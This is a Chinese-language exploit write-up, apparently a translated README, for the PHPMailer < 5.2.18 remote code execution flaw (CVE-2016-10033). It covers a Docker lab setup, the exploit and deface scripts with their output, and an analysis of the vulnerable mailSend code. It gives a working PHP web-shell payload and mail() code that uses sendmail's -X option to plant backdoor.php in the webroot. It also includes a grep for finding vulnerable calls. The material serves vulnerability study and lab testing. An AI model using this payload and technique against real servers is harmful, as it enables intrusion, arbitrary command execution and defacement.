
PHPMailer < 5.2.18 远程代码执行
PHPMailer 是世界上最流行的传输类库,全球估计有900万用户。每天下载量依然巨大。被许多开源项目使用:WordPress、Drupal、1CRM、SugarCRM、Yii、Joomla! 以及更多。
PHPMailer 5.2.18 之前的版本存在一个可能导致远程代码执行(RCE)的漏洞。当未设置 Sender 属性时,isMail 传输中的 mailSend 函数可能允许远程攻击者向 mail 命令传递额外参数,进而通过精心构造的 From 地址中的 "(反斜杠双引号)执行任意代码。
要搭建测试用的漏洞环境,你需要安装 Docker,然后运行以下命令:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
它会在你的主机上 8080 端口启动一个存在漏洞的 Web 应用。

要利用此目标,只需运行:
./exploit host:port
如果你正在使用这个漏洞镜像,可以直接运行:
./exploit localhost:8080
利用成功后,会在 Web 目录的根目录生成一个名为 backdoor.php 的文件。然后 exploit 会为你提供一个 shell,你可以向该后门发送命令:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
就这样,你获得了一个 shell。还有另一个 exploit,展示了另一种用法。
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
如果你再次访问该页面,你会看到:

在此 commit 之前,class.phpmailer.php 中的某个场景下没有对发件人邮箱地址的特殊字符进行过滤。这个缺陷可能导致通过 mail 函数此处执行远程代码。
分析代码,mailSend() 函数中没有过滤:
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender 被直接附加到 $params 变量中,而该变量在 validateAddress() 函数中已被过滤,但由于它遵循 RFC 3696 规范,允许某些会破坏结构的字符。
本例中,是引号:
除了使用反斜杠字符转义外,还可以使用常规的双引号字符来包围字符串。例如
"Abc@def"@example.com
"Fred Bloggs"@example.com
是前面两个示例的替代形式。这些带引号的形式很少被推荐,在实践中也不常见,但如上所述,处理电子邮件地址的应用程序必须支持它们。特别是,带引号的形式通常出现在与从其他系统和上下文迁移相关的地址中;那些迁移需求仍然存在,并且,由于一个接受用户提供的电子邮件地址的系统无法"知道"该地址是否与遗留系统关联,因此必须接受这些地址形式并将其传递到电子邮件环境中。
如果你想了解,可以阅读完整的 RFC 此处。另外,如果 PHP 版本低于 5.2.0,且未安装 PCRE,validateAddress() 中的 $patternselect 变量将被设置为 noregex。这将导致输入能够绕过任何正则检查。它仅会通过一个简单的验证:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
然后,代码流程进入 mailPassthru() 函数,如果运行在 safe_mode 下,则不会受此漏洞影响,如下代码所示:
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
但如果未运行在 safe_mode 下,那么我们的特殊参数将被传递到 mail() 中,如果运气好,它将获取包含我们想要写入任何内容的文件,并将文件写入我们选择的位置。
PHP mail() 函数的利用并非新鲜事,但它仍然活跃,人们仍在使用。为了解释其工作原理,让我们看看 mail() 函数的定义:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
存在多种针对不同结果的利用方法,我们将重点放在利用第五个参数来实现远程代码执行(RCE)。参数 $additional_parameters 用于将附加标志作为命令行选项传递给负责发送电子邮件的程序。此配置由 sendmail_path 变量定义。
PHP 官方文档中的安全说明:
additional_parameters 参数可用于将附加标志作为命令行选项传递给发送邮件时使用的程序(由 sendmail_path 配置设置定义)。例如,当使用 sendmail 的 -f sendmail 选项时,可用于设置信封发件人地址。
该参数在内部通过 escapeshellcmd() 转义以防止命令执行。escapeshellcmd() 可以防止命令执行,但允许添加额外参数。出于安全原因,建议用户清理此参数,以避免向 shell 命令添加不需要的参数。
考虑到可注入的附加参数,我们将使用 -X 来利用此漏洞。更多关于 -X 参数的信息:
-X logfile
将进出邮件程序的所有流量记录到指定的日志文件中。这仅应作为调试邮件程序错误的最后手段。它会非常快速地记录大量数据。
还有其他一些你应该知道的常用参数:
-Cfile
使用备用配置文件。如果指定了备用配置文件,Sendmail 将放弃所有增强的(set-user-ID 或 set-group-ID)权限。
以及
-O option=value
将选项 option 设置为指定值。此形式使用长名称。
对于 -O 选项,最有趣的是 QueueDirectory,该选项选择消息排队等待的目录。
如果你想查看完整的参数和选项列表,请执行 man sendmail 或在线阅读此处
基于这些信息,并且能够控制至少一个其他参数,我们可以利用该主机。以下是成功利用的步骤:
$additional_parameters 和 mail() 的另一个参数webroot 下的任何目录(例如其他系统的 /var/www/html,本例中的 /www)system() 载荷,并加入 base64 和一些特殊字符 | 以便于解析。请记住,-X 选项会写入日志文件,该文件除了日志信息外,还将包含你的 PHP 载荷,文件会写入你指定的目录。一个存在漏洞的 PHP 代码示例:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
如果你执行上述代码,它将在 /www/backdoor.php 中创建一个日志文件,这就是此漏洞的本质。
以下为本例中使用的载荷:
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
想要一种简单、一条命令就能发现此类漏洞的方法吗?记住这个神奇的 grep 命令!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
针对此仓库运行会得到:
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
此漏洞由 Dawid Golunski 发现。
本程序及之前的程序仅供教育目的。未经许可请勿使用。通常的免责声明同样适用,特别是本人(opsxcq)对因直接或间接使用本程序提供的信息或功能而造成的任何损害不承担责任。作者或任何互联网提供商对这些程序的内容或误用,或其任何衍生品不承担任何责任。使用这些程序即表示您接受:因使用这些程序造成的任何损害(数据丢失、系统崩溃、系统入侵等)均非 opsxcq 的责任。